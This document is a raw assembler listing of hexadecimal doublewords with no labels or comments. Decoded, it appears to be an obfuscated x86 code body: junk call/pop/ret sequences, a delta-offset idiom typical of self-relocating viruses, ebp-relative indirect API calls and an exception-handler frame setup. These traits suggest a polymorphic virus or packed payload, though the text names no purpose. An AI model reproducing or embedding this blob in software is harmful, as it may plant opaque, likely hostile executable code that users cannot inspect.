dd 4244489h, 4244481h, 17h, 0C1C35040h, 0F677739h, 0B58BFFB7h
dd 606A730h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0C9C35040h, 4F41F427h, 8D29C87Fh, 6032C31h, 128D858Bh
dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 9CA592C3h, 2349CFBDh, 0ED9D014Eh, 8906031Ch
dd 311B595h, 6A068906h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0C9B5C351h, 0AA0E771Ah
dd 13C1858Bh, 0AE90603h, 37000000h, 430AFF2Ah, 1DD76C12h
dd 446898Ah, 68E0Fh, 9D2B0000h, 60303DDh, 0D88B6696h, 1547BF50h
dd 8096339Eh, 0B5FF9FCBh, 606A72Ch, 26099D89h, 84680603h
dd 81FB05DDh, 267B2404h, 6A0519h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0B3BA03C3h, 34858D39h
dd 0F0606A7h, 683h, 4DBD3300h, 56060310h, 489505Fh, 71BD8924h
dd 0FF06032Ah, 3140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0BA4ABC48h, 61DE8B6Ch
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FCC35343h
dd 0BFFA118Ah, 783BEA28h, 21BD85C7h, 30603h, 0BD830000h
dd 606A734h, 29840F00h, 0B3000000h, 3DE968h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0BD8BD4C3h, 60331FDh, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h
dd 0E9831104h, 0EBE77504h, 81C08B00h, 52AD81CBh, 0CE873h
dd 37F90000h, 0E9CADF3Eh, 0A22A3056h, 0BB6605F6h, 605B0F2Dh
dd 2A298529h, 0B5030603h, 603208Dh, 0BDBD8361h, 3060321h
dd 3C4850Fh, 8E90000h, 41000000h, 2535B99Ch, 83E5A2B3h
dd 6A734BDh, 840F0006h, 3AAh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 45C35747h, 57BBE972h, 0FF4B9125h
dd 6A734B5h, 95FFFC06h, 6032E05h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 7AC35343h, 0B1ADB47Ch, 0D0EDC5D9h
dd 8166F9D9h, 29686EC3h, 30C8585h, 28B58B06h, 6A0606A7h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0F0ADC356h, 8E8A7314h, 0B25C3D75h, 9E95050h
dd 86000000h, 1A872C4Ah, 8C0BFE45h, 6C75B5Fh, 10001h, 125B589h
dd 8B500603h, 243489DEh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 5EC35141h, 0E1286E78h, 9589D739h, 6031F11h
dd 0A734B5FFh, 95FF0606h, 6032F19h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 38C35141h, 0BD097B2Dh, 6030B05h
dd 0A728B58Bh, 46BB0606h, 8B26DEF0h, 3311D85h, 8957B306h
dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 7F6A66E9h, 0EF8166BDh, 958BEF0Fh
dd 60331D1h, 0E904C283h, 7, 6C26F834h, 89039B8Bh, 840F2050h
dd 0Ch, 7E9h, 2F299F00h, 0BB6B4803h, 0BBF3858Dh, 6A0606h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0EE264AC3h, 1942B0BCh, 8689DCEDh, 0B8h, 0EECB8152h
dd 5F45AFB5h, 11E8006Ah, 0B4000000h, 9453EA9Dh, 0B5DF6F66h
dd 25AA1C3Dh, 0A415E232h, 5E9h, 0D4D36B00h, 0FF5B9059h
dd 6A734B5h, 0B70F6006h, 11E9C8h, 484E0000h, 5AD703CCh
dd 60DDEB4Ch, 134A875Ch, 61AA7B5Fh, 323DBD8Bh, 95FF0603h
dd 6031CB1h, 108DB589h, 8B960603h, 0E96050FBh, 5, 4AD8DD13h
dd 0F4CEBF4Eh, 96615174h, 0EE9h, 0D2B97300h, 0FE170D90h
dd 0A9AA98E5h, 0FFEDA6DDh, 6A734B5h, 6800F06h, 8B000000h
dd 305D59Dh, 6595FF06h, 0BB060311h, 5E594FE9h, 1795BD83h
dd 0F000603h, 3584h, 0E9B50100h, 96060331h, 0DCE1EBBBh
dd 8B665071h, 6A96DEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 8B21D6C3h, 18C6BBDEh, 0B5FF5813h
dd 606A734h, 12F5B509h, 95FF0603h, 6030661h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FC35242h, 0C3FC76B9h
dd 0BE9CDh, 824E0000h, 141AD47Eh, 71088A9Dh, 34B5FFC5h
dd 6A0606A7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 898CC357h, 313D58Dh, 0E195FF06h
dd 8306030Ah, 3218DBDh, 840F0206h, 7Ah, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 16h, 0E2C35040h, 8A0FD4BBh
dd 6, 1B7D8D89h, 858B0603h, 60301FDh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 26C35545h, 0D7C1ED5Ch, 0C6F91A18h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 5BFA8BC3h, 0E38166ABh, 85C79887h, 60330B9h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 7AC35141h
dd 0A7C0D1C7h, 45E9F8E2h, 0F8FFFFF4h, 6AC18Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 513BA4C3h, 95014BA2h, 6032511h, 2811858Dh, 0BD8B0603h
dd 6031C51h, 1422BF50h, 489659Bh, 69BD8B24h, 6A06030Bh
dd 19958900h, 6A060302h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8D12C53Ch, 7470085h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0C083ECD2h, 0D7816605h, 9589EAADh, 6032815h, 850F50h
dd 89000000h, 0DA8B2404h, 840F006Ah, 6, 1079BD03h, 6A0603h
dd 4AE42ABFh, 0D9BD8B57h, 0FF060322h, 30CC995h, 0FE906h
dd 83DC0000h, 0C20B8414h, 0D3EE8780h, 583A14A9h, 478D8DFEh
dd 89060697h, 32949BDh, 6AD1FF06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 33DEC353h
dd 32395BDh, 91BD8306h, 106031Eh, 62850Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 6095FFC3h, 87B272E4h, 6A9E9C70h, 60509002h, 0C1B86656h
dd 90615EDCh, 520A32BFh, 0B195FF03h, 6A06031Ch, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 8CAAC351h, 34CC2BC2h, 0EDB390A2h, 0DA2E9h, 0E800h, 815D0000h
dd 7470AEDh, 81665006h, 5F16CEF3h, 8DDBB70Fh, 6888985h
dd 0E5852906h, 9006031Ah, 50D98B66h, 5959BF66h, 6810F90h
dd 8B000000h, 3125D9Dh, 35FF6406h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B1C35141h
dd 7E9h, 410C9100h, 7D9F1637h, 258964h, 8B000000h, 1585FFD9h
dd 6A06032Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0B9BC351h, 6060772Bh, 0C5D8D89h
dd 860F0603h, 0
dd 0C1816661h, 6A61A238h, 0FAB70FFFh, 13E9B5FFh, 9D2B0603h
dd 6030C09h, 201595FFh, 47E90603h, 2B000001h, 312919Dh
dd 0F00B006h, 0C87h, 68A0F00h, 89000000h, 3097DB5h, 0E970E606h
dd 11h, 0FE95455Bh, 0D922DCDBh, 1C54A250h, 90560913h, 8171E4C1h
dd 4F9BE0DFh, 0F613C5Fh, 10583h, 0F5F5100h, 0EBFC8B6h
dd 0BA24C580h, 6, 2CDBD8Bh, 0C18B0603h, 1E799D8Bh, 0E8C10603h
dd 0FEB70F04h, 25599D23h, 0F7660603h, 39C380E2h, 8BF5C82Bh
dd 9D8B56D1h, 6032A69h, 0BE95Fh, 0BD8B0000h, 6031255h
dd 83470BBBh, 41858B54h, 0F06031Ah, 0F52FAB7h, 284h, 5B616000h
dd 5207C083h, 0FE8h, 891BD700h, 38BA3E98h, 0B530C7B3h
dd 0B6B160A8h, 570DC781h, 5F5B550Bh, 5000C083h, 4810Fh
dd 0BF660000h, 3B5BF567h, 25830FD0h, 8B000000h, 3325DBDh
dd 0EE806h, 0CF250000h, 7C29041h, 0E4E90812h, 17DA4B75h
dd 50E95Fh, 0EB810000h, 20D194C2h, 13AD8D8Bh, 0BD8B0603h
dd 6032EB1h, 0E183FB8Bh, 33840F01h, 0E9000000h, 11h, 4952D6FAh
dd 0E59EB0C8h, 0A765F78h, 0CEB40704h, 0ADA58357h, 0FE060313h
dd 0B199D8Bh, 95890603h, 6031A41h, 4CD38166h, 0E9A0h, 0B58D0000h
dd 606C7F5h, 6A8BCB80h, 0AE900h, 6F780000h, 8A484CF1h
dd 80EEE2F5h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 9BCF1FC3h, 4D3B4037h
dd 60C8EB39h, 0EAC98160h, 894BBFF8h, 31E2D8Dh, 0C5806106h
dd 0BBB961B6h, 6A00000Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0DC72C350h, 0F96B162Bh
dd 89BD8B33h, 8306031Bh, 0BE9FCE1h, 10000000h, 99B9B82Eh
dd 0A5DE2B64h, 6AFC3710h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 81F5C352h, 0AA5FFFD7h
dd 68C0F1Ah, 89000000h, 31449BDh, 6AC02B06h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0B785C350h, 0FFD56DCBh, 2BFE8BCFh, 55006AD2h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 60EBD100h, 0A07A079Ah, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D5C35747h
dd 892CECAFh, 32C45BDh, 0DE8B6606h, 4A1EBB66h, 880Dh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 958B6E36h, 60331D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 31C35747h, 75A799FAh, 8B59182Ch, 301E18Dh
dd 81B50906h, 5006031Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 0CE958h, 0FAED0000h, 7F83B52Dh, 5D639F9Ch
dd 0E2BF04D7h, 830B509Ch, 31D65BDh, 840F0006h, 41h, 0F6FE94BBh
dd 0B87Eh, 0BD090000h, 6031CBDh, 4D1C8D8Dh, 6A0603h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 6F47F6C3h, 9D8BE1FFh, 603038Dh, 0DACB8166h, 0BDBD83F0h
dd 60321h, 4E0840Fh, 0BD830000h, 60321BDh, 0EE840F01h
dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 3595BB66h
dd 1151B531h, 0BD830603h, 60321BDh, 80860F03h, 89000004h
dd 31AF19Dh, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 98AF01C3h, 0CE874h, 2C980000h, 0DDF5872Dh
dd 1E05529Ah, 0FB8BA892h, 0D98C665Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 1EC35646h, 0BE4E6ADFh, 3E88B867h
dd 0F04E180h, 0BD89DEB7h, 60305EDh, 840FC90Ah, 15Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 28C35747h, 6E8EF50Eh
dd 0DF8B6666h, 13C1858Bh, 0B2600603h, 58C0F85h, 66000000h
dd 0E0CCE881h, 79853361h, 6A06031Ch, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A14BC351h
dd 43004711h, 0BF6690C0h, 0E85036F2h, 11h, 958815BEh, 0D7BDF4C3h
dd 0C4F2D964h, 0AF493370h, 0FE8B6690h, 830F905Fh, 6, 2481BD89h
dd 6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0D5C35545h, 96CEC5B0h, 4E8C966h, 0FF000000h, 53001F03h
dd 11E956h, 0BCEA0000h, 8C14ABECh, 3B15C384h, 0A0680680h
dd 5BB46D18h, 448B505Fh, 66560424h, 8B5FDE8Bh, 66606000h
dd 11E8CE8Bh, 99000000h, 42521991h, 1854CEF3h, 9A6C27F1h
dd 0B05A33EBh, 0F88B615Ah, 24448961h, 9D8B5804h, 6030159h
dd 95FFD98Bh, 6031405h, 13A1BD89h, 0BF560603h, 0ACC7B29h
dd 3485895Fh, 8B0606A7h, 322919Dh, 258E906h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0CEE992C3h, 0A121DD32h, 60BE470Fh, 8B61C18Bh, 6A72C85h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0D28372A7h, 2B362662h, 399D0B30h, 0C7060323h
dd 1800h, 0D8BF0F00h, 0A730B58Bh, 6A0606h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B9053FC3h
dd 49135C2Ch, 8B7AF74Fh, 3128D85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0C47EF2BBh
dd 8930DE7Ch, 3268D9Dh, 0E9BD8B06h, 89060304h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0CE4EBA9Ch, 98D89C9h, 8B060301h, 313C185h, 999D8B06h
dd 89060306h, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 94D460C3h, 6EB782B1h, 8E94Dh, 0F7350000h
dd 554AF9E0h, 8A503C65h, 243489DDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 80C35646h, 8BE317D8h, 0C6BB6640h
dd 2CB5FFD0h, 680606A7h, 89B64893h, 14E8h, 3F2AF700h, 0F87AEFC4h
dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 11E93Eh, 9EA60000h
dd 3B436903h, 0C15ACAE6h, 2582DF06h, 5F8021DAh, 6C240481h
dd 6A7668BBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0E8CAC356h, 13h, 4FECA0BCh, 24EA5470h
dd 0C7E1AE2Ah, 46913C1Eh, 50C40B36h, 0D75DDF81h, 5B5F2AD9h
dd 0CE9h, 0B3633500h, 0DEF44E80h, 89431738h, 34858D70h
dd 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0B1C0C352h, 8F8D6116h, 9D8B3B00h
dd 6031E69h, 0B8A0F50h, 0F000000h, 58Eh, 6961BB00h, 4891E1Ah
dd 0E20EBF24h, 95FF724Ah, 6031405h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 30C35545h, 0A14A4DB2h, 1BD19589h
dd 6A610603h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 6A96C353h, 5ED03CCFh, 312E24EEh
dd 322E59Dh, 0BD85C706h
dd 3060321h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0DB88C353h, 83F98B66h
dd 6A734BDh, 840F0006h, 1Fh, 3A00DF81h, 2FE92485h, 81000000h
dd 465A5DD3h, 9E971h, 43980000h, 0AD0D7618h, 507314F0h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 0EB81C08Bh, 4543EC4Bh, 83FFB70Fh, 321BDBDh, 850F0306h
dd 3F7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 80C35242h, 0BD89D61Fh, 6032035h, 23418D31h, 4BF0603h
dd 835E5794h, 6A734BDh, 840F0006h, 3BBh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 8DC35141h, 1D16C548h
dd 0FDE14433h, 2258D89h, 0B5FF0603h, 606A734h, 10FD9D8Bh
dd 95FF0603h, 6032E05h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0EEC35242h, 7D5FC523h, 0C47159A7h, 759D0BA9h
dd 8B06030Bh, 6A728B5h, 719D2306h, 0C706030Ch, 1000106h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0A397B143h, 0E38196F2h, 78287C4Bh, 38D0F96h
dd 66000000h, 0B350DF8Bh, 6A9682h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0A549F9C3h, 8BA7B781h
dd 32DA59Dh, 34B5FF06h, 0FF0606A7h, 32F1995h, 0BF665006h
dd 8B5F7C3Eh, 6A728B5h, 1D858B06h, 8B060331h, 30FBD9Dh
dd 0FE906h, 83EB0000h, 68050C95h, 55BBE9B9h, 2824E06Ch
dd 0C48689C7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 3DFBC357h, 55036A32h
dd 66692764h, 8BB088BBh, 331D195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0CE9DB09Dh
dd 0E84FD2DEh, 0Fh, 717948B1h, 0C32E7DE4h, 8A5BBB87h, 5F02C086h
dd 6A04C283h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 8134C352h, 0EC6B4FD7h, 20508908h
dd 0BDBD8B56h, 5B060313h, 0BBF3858Dh, 6A0606h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0ECC27FC3h, 8BCB8171h, 8992B3DFh, 0B886h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0A4FE74EFh, 53B2F629h, 2D6DBD8Bh, 6A5B0603h, 0FF59B700h
dd 6A734B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0CD858961h, 0FF060320h, 31CB195h
dd 68A0F06h, 3000000h, 330B5BDh, 52509606h, 0BE960h, 0FD9A0000h
dd 64D10306h, 0A91906E3h, 8F0F22h, 61000000h, 0DEB7310Fh
dd 0BF50585Ah, 4358ED0h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 34B5FFE6h, 230606A7h
dd 32979BDh, 6595FF06h, 6A060311h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0B88CC353h
dd 7EE41C77h, 836D84C6h, 31795BDh, 840F0006h, 35h, 9D9D8B57h
dd 5B06030Ah, 0BF606096h, 5A82973h, 0FE9h, 2BCDE200h, 923C71A1h
dd 75902A2Eh, 6BA75F2Fh, 0DE8B6661h, 8B535061h, 8B965BF8h
dd 328B19Dh, 34B5FF06h, 0E80606A7h, 10h, 4D877578h, 6C7A8B4Dh
dd 9B350F7Fh, 0B004CD05h, 231BD8Bh, 8B5B0603h, 6195FFFBh
dd 89060306h, 31F65BDh, 34B5FF06h, 6A0606A7h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0FF0EC357h, 30AE195h, 8E906h, 0BDDE0000h, 0BB3CE809h
dd 0BD83CABEh, 603218Dh, 3A840F02h, 9000000h, 3175985h
dd 0FD858B06h, 0FC060301h, 6A0000C6h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2914C357h
dd 0BAC7CDC6h, 8162A347h, 6B3E54F7h, 0B985C701h, 60330h
dd 8B000000h, 0E98529DFh, 0E9060301h, 0FFFFF34Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h, 6879F381h
dd 0C18B5E7Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0E1C35646h, 0A9F44F30h, 8D8B3FB7h, 3281185h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0BD8B1B01h, 6031D51h, 52506050h, 820Fh, 310F0000h, 310F5250h
dd 585A585Ah, 8961FB8Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 668CB9C3h, 925DC781h
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0BF6678C3h, 6ABA36h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 52C35242h, 0A0C4A2A0h, 9E9E4h
dd 37120000h, 39F19231h, 80DEE6C7h, 858DB5C3h, 6075699h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FC35343h
dd 9D89D926h, 6030631h, 0F05C083h, 8B90DFBFh, 6E950F9h
dd 0D5000000h, 0E79F403Bh, 6A90B0h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 594DDBC3h
dd 881F927Fh, 6A31BF9Fh, 12E800h, 87240000h, 67AAD642h
dd 0BB62964h, 37B57944h, 73ADCEAAh, 6A5BF9h, 0CC995FFh
dd 8B660603h, 478D8DDEh, 6A060697h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6D9BC352h
dd 0DB814465h, 679AB056h, 29E18D29h, 0D1FF0603h, 1E20BF66h
dd 1E91BD83h, 0F010603h, 6885h, 73BB6600h, 29026A7Fh, 323BD8Dh
dd 0F565006h, 28Ah, 5F3EB700h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A9BFC350h
dd 0BD8B4758h, 6032851h, 1CB195FFh, 6A0603h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 91358DC3h
dd 481403Dh, 0E8DE974h, 0E80000h, 5D000000h, 56A3ED81h
dd 0BD890607h, 6030455h, 0E0BBFB8Bh, 8D23181Eh, 6888985h
dd 0FFB70F06h, 4EC78166h, 6050902Eh, 2810Fh, 5A560000h
dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 10B81FC3h, 0FF64D98Bh, 35h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 89B8617Bh, 3281DB5h, 39BD8B06h, 64060326h, 2589h, 0A8BB0000h
dd 0FF08E0BCh, 32A1585h, 6AFF6A06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4247C353h
dd 0FB8BFC16h, 21ADB5FFh, 6A0603h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0A26B41C3h, 95FF1FADh
dd 6032015h, 117E9h, 0E7816600h, 0B06AA9h, 385BD8Bh, 70E60603h
dd 0BE9h, 7FA0E500h, 6156E8D3h, 8AE8F74Dh
dd 0BE9h, 0B614C500h, 0CC96C448h, 0FCB21931h, 0DF8171E4h
dd 7EE40A72h, 830F613Ch, 0D8h, 2C199D8Bh, 0B60F0603h, 25BD89C8h
dd 0BA060326h, 6, 66F88B66h, 62B4EF81h, 0BD8BC18Bh, 603295Dh
dd 0E904E8C1h, 6, 0A8C3290Bh, 0F7664C4Eh, 0FE1ABBE2h, 0C82B0C27h
dd 11E9h, 0F7642500h, 0E9143679h, 2E1B6608h, 35253F51h
dd 0BB66C339h, 0D18B497Fh, 2E9D6B3h, 8B000000h, 0BD858BF8h
dd 51060302h, 0AF74E781h, 835F7725h, 0FB8B07C0h, 6600C083h
dd 0B4AAEF81h, 830FD03Bh, 12h, 4EE9F5h, 9D310000h, 6030315h
dd 2F9B589h, 8D8B0603h, 603293Dh, 0E183DE8Bh, 31840F01h
dd 8B000000h, 329999Dh, 71B58906h, 8306032Ch, 3293DA5h
dd 89F9FE06h, 302BD95h, 0DE906h, 0EEF0000h, 27205FD2h
dd 406FC1D5h, 0E978F1C3h, 0
dd 0D9A6B58Dh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 1538FCC3h, 0B674A7A2h, 6850F68h
dd 0F000000h, 86h, 6A006A00h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0D070C356h, 7DFDFBE2h
dd 800FA20Dh, 1, 0A141BBFCh, 95FF5CDBh, 6031FB9h, 0F8B9DE8Bh
dd 6A000009h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 7254C352h, 9E76BB42h, 0E1836B8Fh
dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 6F67BB73h, 0FC25D380h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 5AC35747h, 6137C2E0h, 0B8D1365Ch
dd 0
dd 0BADA8Ah, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 3D58C350h, 0D4C8CD01h
dd 10E8B9FCh, 0A2000000h, 0F7DE2D2Dh, 6324A943h, 1DBAE510h
dd 8B43E30Fh, 32E799Dh, 33AD5F06h, 3E8D1C2h, 4E983D0h
dd 8B60F475h, 0EF8166D0h, 0D61212Ah, 88h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A8C35343h, 0F4BA0268h
dd 267E44EAh, 8E9DAh, 2F210000h, 37E2B44Bh, 0BD8B5181h
dd 60322B9h, 31D1958Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0F24E56C3h, 698D3193h
dd 106031Eh, 308FDBDh, 0E3816606h, 8D8B9E59h, 60301E1h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h
dd 90435020h, 0B6DA88F4h, 0C28B5046h, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 0BB58188Bh, 74DF588Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 76C35545h, 0BD89926Dh, 6030F7Dh
dd 1D65BD83h, 0F000603h, 5E84h, 0B8FC00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 39EC350h, 0E63B4369h, 1C8D8DCAh, 6A06034Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0B486C353h, 0AD9D01FFh, 66060326h, 0FFA228BFh, 0CD9D8BE1h
dd 8306031Ch, 321BDBDh, 840F0006h, 4B3h, 33D0DF81h, 0BD830066h
dd 60321BDh, 0BB840F01h, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 65EDC357h
dd 0AB825DC4h, 0BDBD83D2h, 3060321h, 456860Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 9DD17AC3h, 0AB119DA5h, 52006A60h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 890999B4h
dd 3248D9Dh, 0D98C6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 82C35545h, 0EF7F0C67h, 89F0BD4Fh, 31E71B5h
dd 4E18006h, 68A0Fh, 0BD8B0000h, 6030CDDh, 840FC90Ah, 17Ah
dd 5E9h, 9FC96000h, 858B18F6h, 60313C1h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 3CC35141h, 6BA3DE01h
dd 23D92754h, 2DFD9D29h, 85330603h, 6031C79h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 77C35040h, 3998529h
dd 66900603h, 0E950FE8Bh, 8, 5C26A84Bh, 18D7C1EDh, 56006A90h
